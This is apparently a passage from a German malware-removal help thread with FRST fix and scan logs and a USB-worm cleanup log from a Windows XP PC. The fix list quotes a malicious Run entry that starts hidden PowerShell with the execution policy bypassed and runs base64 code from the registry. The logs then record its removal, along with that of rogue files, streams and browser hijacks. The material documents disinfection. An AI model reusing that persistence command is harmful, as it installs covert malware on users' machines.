C:\Dokumente und Einstellungen\All Users\msdgqhc.exe

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Run: [{A9480375-EB4E-4B08-9CBA-83931501F684}] => powershell.exe -noprofile -windowstyle hidden -executionpolicy bypass iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\WOzb').HITANTCUPSFK)));

HKLM\SOFTWARE\Policies\Microsoft\Internet Explorer: Beschränkung <======= ACHTUNG

HKU\S-1-5-21-796845957-1960408961-682003330-1003\SOFTWARE\Policies\Microsoft\Internet Explorer: Beschränkung <======= ACHTUNG

BHO: Kein Name -> {BA0C978D-D909-49B6-AFE2-8BDE245DC7E6} -> Keine Datei

BHO: Kein Name -> {d5b8015d-68af-4b2c-9412-e349d82ab4a2} -> Keine Datei

BHO: Telenor Telenorhjelpen Plugin -> {DB87CDE1-EF9C-44EB-A42F-6D0B3C72C516} -> Keine Datei

BHO: Kein Name -> {f379a94e-3c5d-4bad-b32c-0e3af1cc3617} -> Keine Datei

FF Extension: Kein Name - C:\Dokumente und Einstellungen\Julie\Anwendungsdaten\Mozilla\Firefox\Profiles\v80lvlpr.default\extensions\iobitascsurfingprotection@iobit.com [nicht gefunden]

CHR DefaultSearchURL: Default -> hxxp://www.search.ask.com/web?p2=%5EAKE%5EOSJ000%5EYY%5EAT&gct=&o=APN10452&tpid=ORJ-V7&itbv=12.6.0.11&doi=2013-10-30&apn_uid=84D7EA17-D885-40D4-B0F9-731F3AB927BA&apn_ptnrs=AKE&apn_dtid=%5EOSJ000%5EYY%5EAT&apn_dbr=cr_30.0.1599.101&psv=&trgb=CR&q={searchTerms}

CHR DefaultSearchKeyword: Default -> ask search

CHR DefaultSuggestURL: Default -> hxxp://ss.websearch.ask.com/query?qsrc={qsrc}&li=ff&sstype=prefix&q={searchTerms}

2016-08-17 16:39 - 2016-08-17 16:40 - 00000000 ____D C:\Dokumente und Einstellungen\All Users\Anwendungsdaten\oxyjotiqysetapul

2016-08-17 16:39 - 2016-08-17 16:39 - 00614912 _____ (Ghisler Software GmbH) C:\WINDOWS\bdeqpjir.exe

2016-08-17 16:39 - 2016-08-17 16:39 - 00614912 _____ (Ghisler Software GmbH) C:\Dokumente und Einstellungen\Julie\Lokale Einstellungen\Temprad1E7B0.tmp

2011-08-16 15:07 - 2011-08-16 15:26 - 0000392 _____ () C:\Dokumente und Einstellungen\All Users\Anwendungsdaten\P1kAlMiG2Kb7Fz

2011-08-16 15:07 - 2011-08-16 15:33 - 0000224 _____ () C:\Dokumente und Einstellungen\All Users\Anwendungsdaten\~P1kAlMiG2Kb7Fz

2011-08-16 15:07 - 2011-08-16 15:33 - 0000176 _____ () C:\Dokumente und Einstellungen\All Users\Anwendungsdaten\~P1kAlMiG2Kb7Fzr

AlternateDataStreams: C:\Programme\Gemeinsame Dateien\MSN:biSG7jlOe4kiWcFsw4kKVL1B4 [1748]

AlternateDataStreams: C:\Programme\Gemeinsame Dateien\MSN:JayWGbyLJ62t4ZxTekMUJWuAv [1940]

AlternateDataStreams: C:\Dokumente und Einstellungen\All Users\Anwendungsdaten\Microsoft:66OGEr4wwL0YXXNz2ot7PZNq [2408]

AlternateDataStreams: C:\Dokumente und Einstellungen\All Users\Anwendungsdaten\Microsoft:7Rh0gvPXnkL8jDl5CvmhExThja [1938]

AlternateDataStreams: C:\Dokumente und Einstellungen\All Users\Anwendungsdaten\Microsoft:pz5aDZabB0h1bSG9Iqs28d3kX [2406]

AlternateDataStreams: C:\Dokumente und Einstellungen\All Users\Anwendungsdaten\Microsoft:Q36zbZrgA8HBAP7URdqHr [2066]

AlternateDataStreams: C:\Dokumente und Einstellungen\All Users\Anwendungsdaten\Microsoft:qU1xRduu5Gmj8cDfVeQpYqum [2392]

AlternateDataStreams: C:\Dokumente und Einstellungen\All Users\Anwendungsdaten\Reprise:yhuwxvwhfkxkcqmbzxjuiqjduvsftifh [0]

C:\Dokumente und Einstellungen\Julie\Startmenü\Programme\Autostart\z.vbb

C:\WINDOWS\pss\z.vbbStartup

Reg: reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDriveTypeAutorun /t REG_DWORD /d 0xFF /f

emptytemp:

*****************
 

Prozess erfolgreich geschlossen.

HKLM\Software\Microsoft\Windows\CurrentVersion\Run\\akesikyz => Wert erfolgreich entfernt

HKLM\Software\Microsoft\Windows\CurrentVersion\policies\Explorer\Run\\1038853070 => Wert nicht gefunden.

C:\Dokumente und Einstellungen\All Users\msdgqhc.exe => erfolgreich verschoben

HKU\S-1-5-21-796845957-1960408961-682003330-1003\Software\Microsoft\Windows\CurrentVersion\Run\\{A9480375-EB4E-4B08-9CBA-83931501F684} => Wert erfolgreich entfernt

"HKLM\SOFTWARE\Policies\Microsoft\Internet Explorer" => Schlüssel erfolgreich entfernt

"HKU\S-1-5-21-796845957-1960408961-682003330-1003\SOFTWARE\Policies\Microsoft\Internet Explorer" => Schlüssel erfolgreich entfernt

"HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{BA0C978D-D909-49B6-AFE2-8BDE245DC7E6}" => Schlüssel erfolgreich entfernt

HKCR\CLSID\{BA0C978D-D909-49B6-AFE2-8BDE245DC7E6} => Schlüssel nicht gefunden. 

"HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{d5b8015d-68af-4b2c-9412-e349d82ab4a2}" => Schlüssel erfolgreich entfernt

HKCR\CLSID\{d5b8015d-68af-4b2c-9412-e349d82ab4a2} => Schlüssel nicht gefunden. 

"HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{DB87CDE1-EF9C-44EB-A42F-6D0B3C72C516}" => Schlüssel erfolgreich entfernt

"HKCR\CLSID\{DB87CDE1-EF9C-44EB-A42F-6D0B3C72C516}" => Schlüssel erfolgreich entfernt

"HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{f379a94e-3c5d-4bad-b32c-0e3af1cc3617}" => Schlüssel erfolgreich entfernt

HKCR\CLSID\{f379a94e-3c5d-4bad-b32c-0e3af1cc3617} => Schlüssel nicht gefunden. 

C:\Dokumente und Einstellungen\Julie\Anwendungsdaten\Mozilla\Firefox\Profiles\v80lvlpr.default\extensions\iobitascsurfingprotection@iobit.com => Pfad erfolgreich entfernt

Chrome DefaultSearchURL => erfolgreich entfernt

Chrome DefaultSearchKeyword => erfolgreich entfernt

Chrome DefaultSuggestURL => erfolgreich entfernt

C:\Dokumente und Einstellungen\All Users\Anwendungsdaten\oxyjotiqysetapul => erfolgreich verschoben

C:\WINDOWS\bdeqpjir.exe => erfolgreich verschoben

C:\Dokumente und Einstellungen\Julie\Lokale Einstellungen\Temprad1E7B0.tmp => erfolgreich verschoben

C:\Dokumente und Einstellungen\All Users\Anwendungsdaten\P1kAlMiG2Kb7Fz => erfolgreich verschoben

C:\Dokumente und Einstellungen\All Users\Anwendungsdaten\~P1kAlMiG2Kb7Fz => erfolgreich verschoben

C:\Dokumente und Einstellungen\All Users\Anwendungsdaten\~P1kAlMiG2Kb7Fzr => erfolgreich verschoben

C:\Programme\Gemeinsame Dateien\MSN => ":biSG7jlOe4kiWcFsw4kKVL1B4" ADS erfolgreich entfernt.

C:\Programme\Gemeinsame Dateien\MSN => ":JayWGbyLJ62t4ZxTekMUJWuAv" ADS erfolgreich entfernt.

C:\Dokumente und Einstellungen\All Users\Anwendungsdaten\Microsoft => ":66OGEr4wwL0YXXNz2ot7PZNq" ADS erfolgreich entfernt.

C:\Dokumente und Einstellungen\All Users\Anwendungsdaten\Microsoft => ":7Rh0gvPXnkL8jDl5CvmhExThja" ADS erfolgreich entfernt.

C:\Dokumente und Einstellungen\All Users\Anwendungsdaten\Microsoft => ":pz5aDZabB0h1bSG9Iqs28d3kX" ADS erfolgreich entfernt.

C:\Dokumente und Einstellungen\All Users\Anwendungsdaten\Microsoft => ":Q36zbZrgA8HBAP7URdqHr" ADS erfolgreich entfernt.

C:\Dokumente und Einstellungen\All Users\Anwendungsdaten\Microsoft => ":qU1xRduu5Gmj8cDfVeQpYqum" ADS erfolgreich entfernt.

C:\Dokumente und Einstellungen\All Users\Anwendungsdaten\Reprise => ":yhuwxvwhfkxkcqmbzxjuiqjduvsftifh" ADS erfolgreich entfernt.

"C:\Dokumente und Einstellungen\Julie\Startmenü\Programme\Autostart\z.vbb" => nicht gefunden.

C:\WINDOWS\pss\z.vbbStartup => erfolgreich verschoben
 

========= reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDriveTypeAutorun /t REG_DWORD /d 0xFF /f =========
 
 

Der Vorgang wurde erfolgreich ausgeführt.
 
 

========= Ende von Reg: =========
 
 

=========== EmptyTemp: ==========
 

BITS transfer queue => 0 B

DOMStoree, IE Recovery, AppCache, Feeds Cache, Thumbcache => 227107 B

Java, Flash, Steam htmlcache => 33224 B

Windows/system/dllcache/drivers => 2048 B

Edge => 0 B

Chrome => 386279774 B

Firefox => 79597730 B

Opera => 3683040 B
 

Temp, IE cache, history, cookies, recent:

Default User => 16741 B

All Users => 0 B

systemprofile => 131566 B

LocalService => 360 B

NetworkService => 16677 B

Julie => 6412078 B

Administrator.HOME => 33275 B
 

RecycleBin => 83765 B

EmptyTemp: => 454.4 MB temporäre Dateien entfernt.
 

================================
 
 

Das System musste neu gestartet werden.
 

==== Ende vom Fixlog 00:38:41 ====

Dann ein report vom USB-Stick-Wormentfernungstool Rem-VBS,log:

Code:

Rem-VBSworm v8.0
 

=========== - General info:
 

Running under: Julie on profile: C:\Dokumente und Einstellungen\Julie

Computer name: HOME
 

Operating System:

Microsoft Windows XP Professional  
 

Boot Mode:

Normal boot  
 

Antivirus software installed:
 

Executed on: 18.08.2016 @  1:07:49,75
 

=========== - Drive info:
 

Listing currently attached drives:

Caption  Description                 VolumeName      
 

A:       3,5 Zoll-Diskettenlaufwerk                  
 

C:       Lokale Festplatte           Boot            
 

D:       CD                                          
 

E:       Lokale Festplatte           Big one         
 

F:       Wechseldatentr„ger                          
 

G:       Wechseldatentr„ger          TRANSCEND       
 

H:       Wechseldatentr„ger          JOBS USB        
 

J:       Lokale Festplatte           Seagate Mac&PC  
 
 
 

Physical drives information:
 

=========== - Disinfection info:
 
 

=========== - USB drive info:
 

G: selected
 

USB Device ID:

IDE\DISKIOMEGA_ZIP_100__________________________14.A____\5&20F2915F&0&0.1.0         
 

IDE\DISKST3250620AS_____________________________3.AAE___\5&3003BD5E&0&0.0.0         
 

USBSTOR\DISK&VEN_JETFLASH&PROD_TRANSCEND_8GB&REV_8.07\ZGSCKZJO&0                    
 

USBSTOR\DISK&VEN_KINGSTON&PROD_DATATRAVELER_G3&REV_1.00\000FEAFB938CFD2047E263CD&0  
 

USBSTOR\DISK&VEN_SEAGATE&PROD_FA_GOFLEX_PRO&REV_0148\NA0H2G99&0                     
 
 
 

Listing root contents of G:

 Datentr„ger in Laufwerk G: ist TRANSCEND
 

 Verzeichnis von G:\
 
 

USB drive disinfected and files unhidden!!
 
 

=========== - USB drive info:
 

H: selected
 

USB Device ID:

IDE\DISKIOMEGA_ZIP_100__________________________14.A____\5&20F2915F&0&0.1.0         
 

IDE\DISKST3250620AS_____________________________3.AAE___\5&3003BD5E&0&0.0.0         
 

USBSTOR\DISK&VEN_JETFLASH&PROD_TRANSCEND_8GB&REV_8.07\ZGSCKZJO&0                    
 

USBSTOR\DISK&VEN_KINGSTON&PROD_DATATRAVELER_G3&REV_1.00\000FEAFB938CFD2047E263CD&0  
 

USBSTOR\DISK&VEN_SEAGATE&PROD_FA_GOFLEX_PRO&REV_0148\NA0H2G99&0                     
 
 
 

Datei wurde gel”scht - H:\JOBS USB (8GB).lnk

Listing root contents of H:

 Datentr„ger in Laufwerk H: ist JOBS USB
 

 Verzeichnis von H:\
 

04.08.2016  00:31    <DIR>          ÿ

               0 Datei(en)              0 Bytes

               1 Verzeichnis(se),  7.383.486.464 Bytes frei
 

USB drive disinfected and files unhidden!!
 
 

=====================================================

Scan finished at:  1:12:20,43

Send this log only if requested by a helper.

=====================================================
 

Made by @bartblaze

Tool to delete VBS autorun worm and unhide files

Quarantine folder on: C:\Rem-VBSqt

Info: https://bartblaze.blogspot.com/2014/02/remediate-vbs-malware.html

Und die FRST.txt:

Code:

Untersuchungsergebnis von Farbar Recovery Scan Tool (FRST) (x86) Version: 03-08-2016 (ACHTUNG: ====> FRSTVersion ist 15 Tage alt und könnte veraltet sein)

durchgeführt von Julie (Administrator) auf HOME (18-08-2016 01:28:14)

Gestartet von C:\Dokumente und Einstellungen\Julie\Eigene Dateien\Downloads

Geladene Profile: Julie (Verfügbare Profile: Julie & Administrator)

Platform: Microsoft Windows XP Professional Service Pack 3 (X86) Sprache: Deutsch (Deutschland)

Internet Explorer Version 8 (Standard-Browser: IE)

Start-Modus: Normal

Anleitung für Farbar Recovery Scan Tool: hxxp://www.geekstogo.com/forum/topic/335081-frst-tutorial-how-to-use-farbar-recovery-scan-tool/
 

==================== Prozesse (Nicht auf der Ausnahmeliste) =================
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Prozess geschlossen. Die Datei wird nicht verschoben.)
 

(Oracle Corporation) C:\Programme\Java\jre7\bin\jqs.exe

(Hewlett-Packard Company) C:\Programme\Gemeinsame Dateien\LightScribe\LSSrvc.exe

(PACE Anti-Piracy, Inc.) C:\Programme\Gemeinsame Dateien\PACE\Services\LicenseServices\LDSvc.exe

(SafeNet, Inc) C:\Programme\Gemeinsame Dateien\SafeNet Sentinel\Sentinel Protection Server\WinNT\spnsrvnt.exe

(Microsoft Corporation) C:\WINDOWS\system32\wscntfy.exe

(Analog Devices, Inc.) C:\Programme\Analog Devices\Core\smax4pnp.exe

(Logitech Inc.) C:\Programme\Logitech\MouseWare\system\EM_EXEC.EXE

(mquadr.at software engineering and consulting GmbH, web: www.mquadr.at, mail: office@mquadr.at) C:\Programme\A1\A1 Webassistent\A1Webassistent.exe

(Analog Devices, Inc.) C:\Programme\Analog Devices\SoundMAX\SMax4.exe

(Oracle Corporation) C:\Programme\MySQL\MySQL Notifier 1.1\MySQLNotifier.exe

(Microsoft Corporation) C:\WINDOWS\system32\wbem\unsecapp.exe

(Google Inc.) C:\Programme\Google\Chrome\Application\chrome.exe

(Google Inc.) C:\Programme\Google\Chrome\Application\chrome.exe

(Google Inc.) C:\Programme\Google\Chrome\Application\chrome.exe

(Google Inc.) C:\Programme\Google\Chrome\Application\chrome.exe

(Panda Security) C:\Programme\Panda USB Vaccine\USBVaccine.exe

(Helios Software Solutions) C:\Programme\TextPad 4\TextPad.exe
 
 

==================== Registry (Nicht auf der Ausnahmeliste) ===========================
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Registryeintrag auf den Standardwert zurückgesetzt oder entfernt. Die Datei wird nicht verschoben.)
 

HKLM\...\Run: [High Definition Audio Property Page Shortcut] => C:\WINDOWS\system32\HDAShCut.exe [61952 2004-10-27] (Windows (R) Server 2003 DDK provider)

HKLM\...\Run: [SoundMAXPnP] => C:\Programme\Analog Devices\Core\smax4pnp.exe [925696 2005-05-20] (Analog Devices, Inc.)

HKLM\...\Run: [Deskup] => C:\Programme\Iomega\DriveIcons\deskup.exe [32768 2002-07-16] (Iomega)

HKLM\...\Run: [Logitech Utility] => C:\WINDOWS\Logi_MwX.Exe [19968 2003-06-30] (Logitech Inc.)

HKLM\...\Run: [FirefaceTray] => C:\WINDOWS\system32\fireface.exe [352768 2016-03-08] (RME)

HKLM\...\Run: [FirefaceMixTray] => C:\WINDOWS\system32\firefacemix.exe [1054720 2016-03-08] (RME)

HKLM\...\Run: [A1Webassistent] => C:\Programme\A1\A1 Webassistent\A1Webassistent.exe [18977656 2012-02-08] (mquadr.at software engineering and consulting GmbH, web: www.mquadr.at, mail: office@mquadr.at)

HKLM\...\Run: [SoundMax] => C:\Programme\Analog Devices\SoundMAX\Smax4.exe [716800 2005-09-07] (Analog Devices, Inc.)

Winlogon\Notify\AtiExtEvent: 

HKLM\...\Policies\Explorer: [NoCDBurning] 0

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Run: [MySQL Notifier] => C:\Programme\MySQL\MySQL Notifier 1.1\MySqlNotifier.exe [773120 2014-09-03] (Oracle Corporation)

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [SpecifyDefaultButtons] 2

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [Btn_Back] 1

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [Btn_Forward] 1

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [Btn_Stop] 1

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [Btn_Refresh] 1

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [Btn_Home] 1

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [Btn_Search] 1

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [Btn_History] 1

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [Btn_Favorites] 1

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [Btn_Media] 1

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [Btn_MailNews] 1

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [Btn_Print] 1

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [Btn_Discussions] 1

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [Btn_Edit] 1

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [Btn_Folders] 2

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [Btn_Fullscreen] 2

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [Btn_Size] 2

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [Btn_Cut] 2

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [Btn_Copy] 2

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [Btn_Paste] 2

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [Btn_Encoding] 2

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [Btn_Tools] 2

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [NoBandCustomize] 0

HKU\S-1-5-21-796845957-1960408961-682003330-1003\Control Panel\Desktop\\SCRNSAVE.EXE -> C:\WINDOWS\system32\sspipes.scr [610304 2008-04-14] (Microsoft Corporation)
 

==================== Internet (Nicht auf der Ausnahmeliste) ====================
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Eintrag entfernt oder auf den Standardwert zurückgesetzt, wenn es sich um einen Registryeintrag handelt.)
 

Tcpip\Parameters: [DhcpNameServer] 10.0.0.138

Tcpip\..\Interfaces\{7480D7A3-EAEB-451B-AAF1-5683002F6013}: [DhcpNameServer] 10.0.0.138

ManualProxies: 
 

Internet Explorer:

==================

HKU\.DEFAULT\Software\Microsoft\Internet Explorer\Main,Search Page = hxxp://www.microsoft.com/isapi/redir.dll?prd=ie&ar=iesearch

HKU\.DEFAULT\Software\Microsoft\Internet Explorer\Main,Start Page = hxxp://www.microsoft.com/isapi/redir.dll?prd=ie&ar=msnhome

HKU\S-1-5-21-796845957-1960408961-682003330-1003\Software\Microsoft\Internet Explorer\Main,Start Page = hxxp://oe1.orf.at/

HKU\S-1-5-21-796845957-1960408961-682003330-1003\Software\Microsoft\Internet Explorer\Main,Search Page = hxxp://www.microsoft.com/isapi/redir.dll?prd=ie&ar=iesearch

HKU\S-1-5-21-796845957-1960408961-682003330-1003\Software\Microsoft\Internet Explorer\Main,SearchMigratedDefaultURL = hxxp://www.google.com/search?q={searchTerms}

SearchScopes: HKU\S-1-5-21-796845957-1960408961-682003330-1003 -> {3D41F773-C2A2-4541-8F58-DF94FA1311D3} URL = hxxp://search.yahoo.com/search?ei=utf-8&fr=chr-vmn&type=vmn3_0yach&q={searchTerms}

SearchScopes: HKU\S-1-5-21-796845957-1960408961-682003330-1003 -> {A5AC6D7F-502F-4A01-82E0-4A1A6D7B2EC2} URL = hxxp://www.google.de/search?q={searchTerms}

BHO: Adobe PDF Reader -> {06849E9F-C8D7-4D59-B87D-784B7D6BE0B3} -> C:\Programme\Gemeinsame Dateien\Adobe\Acrobat\ActiveX\AcroIEHelper.dll [2006-10-22] (Adobe Systems Incorporated)

BHO: Telenorhjelpen -> {2EF1BAF9-1988-42a1-82BC-5CB6197AED28} -> C:\Programme\Telenor Norway\Telenorhjelpen\BHO\IEBHO.dll [2010-12-17] (Telenor)

BHO: RealPlayer Download and Record Plugin for Internet Explorer -> {3049C3E9-B461-4BC5-8870-4C09146192CA} -> C:\Program Files\Real\RealPlayer\rpbrowserrecordplugin.dll [2009-04-10] (RealPlayer)

BHO: DivX Plus Web Player HTML5 <video> -> {326E768D-4182-46FD-9C16-1449A49795F4} -> C:\Programme\DivX\DivX Plus Web Player\ie\DivXHTML5\DivXHTML5.dll [2011-12-12] (DivX, LLC)

BHO: Java(tm) Plug-In SSV Helper -> {761497BB-D6F0-462C-B6EB-D4DAF1D92D43} -> C:\Programme\Java\jre1.8.0_31\bin\ssv.dll [2016-03-25] (Oracle Corporation)

BHO: Ads Removal -> {9D974C8C-6D92-44FB-BEAF-B45A1C0CF17F} -> C:\Programme\IObit\IObit Malware Fighter\adsremoval\IE\Adblock.dll [2014-06-11] (Adblock)

BHO: Java(tm) Plug-In 2 SSV Helper -> {DBC80044-A445-435b-BC74-9C25C1C588A9} -> C:\Programme\Java\jre1.8.0_31\bin\jp2ssv.dll [2016-03-25] (Oracle Corporation)

DPF: {166B1BCA-3F9C-11CF-8075-444553540000} hxxp://download.macromedia.com/pub/shockwave/cabs/director/sw.cab

DPF: {8AD9C840-044E-11D1-B3E9-00805F499D93} hxxp://java.sun.com/update/1.7.0/jinstall-1_7_0-windows-i586.cab

DPF: {8FFBE65D-2C9C-4669-84BD-5829DC0B603C} hxxp://fpdownload.macromedia.com/get/flashplayer/current/polarbear/ultrashim.cab

DPF: {CAFEEFAC-0017-0000-0000-ABCDEFFEDCBA} hxxp://java.sun.com/update/1.7.0/jinstall-1_7_0-windows-i586.cab

DPF: {CAFEEFAC-0017-0000-0007-ABCDEFFEDCBA} hxxp://java.sun.com/update/1.7.0/jinstall-1_7_0_07-windows-i586.cab

DPF: {CAFEEFAC-0017-0000-0051-ABCDEFFEDCBA} hxxp://java.sun.com/update/1.7.0/jinstall-1_7_0_51-windows-i586.cab

DPF: {CAFEEFAC-FFFF-FFFF-FFFF-ABCDEFFEDCBA} hxxp://java.sun.com/update/1.7.0/jinstall-1_7_0-windows-i586.cab

DPF: {D27CDB6E-AE6D-11CF-96B8-444553540000} hxxp://fpdownload2.macromedia.com/get/shockwave/cabs/flash/swflash.cab

Handler: cetihpz - {CF184AD3-CDCB-4168-A3F7-8E447D129300} - C:\Programme\HP\hpcoretech\comp\hpuiprot.dll [2004-05-12] (Hewlett-Packard Company)

Handler: http\0x00000001 - {E1D2BF42-A96B-11d1-9C6B-0000F875AC61} - C:\Programme\Gemeinsame Dateien\System\Ole DB\msdaipp.dll [2008-04-14] (Microsoft Corporation)

Handler: http\oledb - {E1D2BF40-A96B-11d1-9C6B-0000F875AC61} - C:\Programme\Gemeinsame Dateien\System\Ole DB\msdaipp.dll [2008-04-14] (Microsoft Corporation)

Handler: https\0x00000001 - {E1D2BF42-A96B-11d1-9C6B-0000F875AC61} - C:\Programme\Gemeinsame Dateien\System\Ole DB\msdaipp.dll [2008-04-14] (Microsoft Corporation)

Handler: https\oledb - {E1D2BF40-A96B-11d1-9C6B-0000F875AC61} - C:\Programme\Gemeinsame Dateien\System\Ole DB\msdaipp.dll [2008-04-14] (Microsoft Corporation)

Handler: ipp\0x00000001 - {E1D2BF42-A96B-11d1-9C6B-0000F875AC61} - C:\Programme\Gemeinsame Dateien\System\Ole DB\msdaipp.dll [2008-04-14] (Microsoft Corporation)

Handler: msdaipp\0x00000001 - {E1D2BF42-A96B-11d1-9C6B-0000F875AC61} - C:\Programme\Gemeinsame Dateien\System\Ole DB\msdaipp.dll [2008-04-14] (Microsoft Corporation)

Handler: msdaipp\oledb - {E1D2BF40-A96B-11d1-9C6B-0000F875AC61} - C:\Programme\Gemeinsame Dateien\System\Ole DB\msdaipp.dll [2008-04-14] (Microsoft Corporation)
 

FireFox:

========

FF ProfilePath: C:\Dokumente und Einstellungen\Julie\Anwendungsdaten\Mozilla\Firefox\Profiles\v80lvlpr.default

FF DefaultSearchEngine: Yahoo!

FF DefaultSearchUrl: hxxp://www.google.com/search?lr=&ie=UTF-8&oe=UTF-8&q=

FF Homepage: hxxp://at.search.yahoo.com/?type=800236&fr=spigot-yhp-ff

FF SelectedSearchEngine: Yahoo!

FF Plugin: @adobe.com/FlashPlayer -> C:\WINDOWS\system32\Macromed\Flash\NPSWF32_22_0_0_209.dll [2016-07-15] ()

FF Plugin: @adobe.com/ShockwavePlayer -> C:\WINDOWS\system32\Adobe\Director\np32dsw_1218158.dll [2015-05-07] (Adobe Systems, Inc.)

FF Plugin: @divx.com/DivX Browser Plugin,version=1.0.0 -> C:\Programme\DivX\DivX Plus Web Player\npdivx32.dll [2011-12-13] (DivX, LLC)

FF Plugin: @divx.com/DivX VOD Helper,version=1.0.0 -> C:\Programme\DivX\DivX OVS Helper\npovshelper.dll [2011-06-20] (DivX, LLC.)

FF Plugin: @ilok.com/iLokHelper,version=3.1.0.6 -> C:\Programme\PACE Anti-Piracy\iLok\NPPaceILok.dll [2009-04-24] ( PACE Anti-Piracy, Inc)

FF Plugin: @ilok.com/iLokHelper,version=3.1.0.7 -> C:\Programme\PACE Anti-Piracy\iLok\NPPaceILok.dll [2009-04-24] ( PACE Anti-Piracy, Inc)

FF Plugin: @java.com/DTPlugin,version=11.31.2 -> C:\Programme\Java\jre1.8.0_31\bin\dtplugin\npDeployJava1.dll [2016-03-25] (Oracle Corporation)

FF Plugin: @java.com/JavaPlugin,version=11.31.2 -> C:\Programme\Java\jre1.8.0_31\bin\plugin2\npjp2.dll [2016-03-25] (Oracle Corporation)

FF Plugin: @microsoft.com/WPF,version=3.5 -> C:\WINDOWS\Microsoft.NET\Framework\v3.5\Windows Presentation Foundation\NPWPF.dll [2008-07-30] (Microsoft Corporation)

FF Plugin: @real.com/nppl3260;version=6.0.12.69 -> C:\Program Files\Real\RealPlayer\Netscape6\nppl3260.dll [2009-04-10] (RealNetworks, Inc.)

FF Plugin: @real.com/nprjplug;version=1.0.3.69 -> C:\Program Files\Real\RealPlayer\Netscape6\nprjplug.dll [2009-04-10] (RealNetworks, Inc.)

FF Plugin: @real.com/nprpjplug;version=6.0.12.69 -> C:\Program Files\Real\RealPlayer\Netscape6\nprpjplug.dll [2009-04-10] (RealNetworks, Inc.)

FF Plugin: @tools.google.com/Google Update;version=3 -> C:\Programme\Google\Update\1.3.31.5\npGoogleUpdate3.dll [2016-07-29] (Google Inc.)

FF Plugin: @tools.google.com/Google Update;version=9 -> C:\Programme\Google\Update\1.3.31.5\npGoogleUpdate3.dll [2016-07-29] (Google Inc.)

FF Plugin HKU\S-1-5-21-796845957-1960408961-682003330-1003: @citrixonline.com/appdetectorplugin -> C:\Dokumente und Einstellungen\Julie\Lokale Einstellungen\Anwendungsdaten\Citrix\Plugins\104\npappdetector.dll [2015-10-12] (Citrix Online)

FF Plugin ProgramFiles/Appdata: C:\Programme\mozilla firefox\plugins\npqtplugin.dll [2012-08-29] (Apple Inc.)

FF Plugin ProgramFiles/Appdata: C:\Programme\mozilla firefox\plugins\npqtplugin2.dll [2012-08-29] (Apple Inc.)

FF Plugin ProgramFiles/Appdata: C:\Programme\mozilla firefox\plugins\npqtplugin3.dll [2012-08-29] (Apple Inc.)

FF Plugin ProgramFiles/Appdata: C:\Programme\mozilla firefox\plugins\npqtplugin4.dll [2012-08-29] (Apple Inc.)

FF Plugin ProgramFiles/Appdata: C:\Programme\mozilla firefox\plugins\npqtplugin5.dll [2012-08-29] (Apple Inc.)

FF Plugin ProgramFiles/Appdata: C:\Programme\mozilla firefox\plugins\npqtplugin6.dll [2012-08-29] (Apple Inc.)

FF Plugin ProgramFiles/Appdata: C:\Programme\mozilla firefox\plugins\npqtplugin7.dll [2012-08-29] (Apple Inc.)

FF Plugin ProgramFiles/Appdata: C:\Dokumente und Einstellungen\Julie\Anwendungsdaten\mozilla\plugins\np-mswmp.dll [2009-09-25] (Microsoft Corporation)

FF Extension: Java Console - C:\Programme\Mozilla Firefox\extensions\{CAFEEFAC-0017-0000-0000-ABCDEFFEDCBA} [2014-06-21] [ist nicht signiert]

FF Extension: Connection Centre Extension - C:\Programme\Telenor Norway\Telenorhjelpen\BHO\Firefox [2014-08-11] [ist nicht signiert]

FF Extension: Microsoft .NET Framework Assistant - C:\Dokumente und Einstellungen\Julie\Anwendungsdaten\Mozilla\Firefox\Profiles\v80lvlpr.default\Extensions\{20a82645-c095-46ed-80e3-08825760534b}(2) [2012-09-13] [ist nicht signiert]

FF Extension: Start Page - C:\Dokumente und Einstellungen\Julie\Anwendungsdaten\Mozilla\Firefox\Profiles\v80lvlpr.default\Extensions\{58d2a791-6199-482f-a9aa-9b725ec61362} [2014-03-30] [ist nicht signiert]

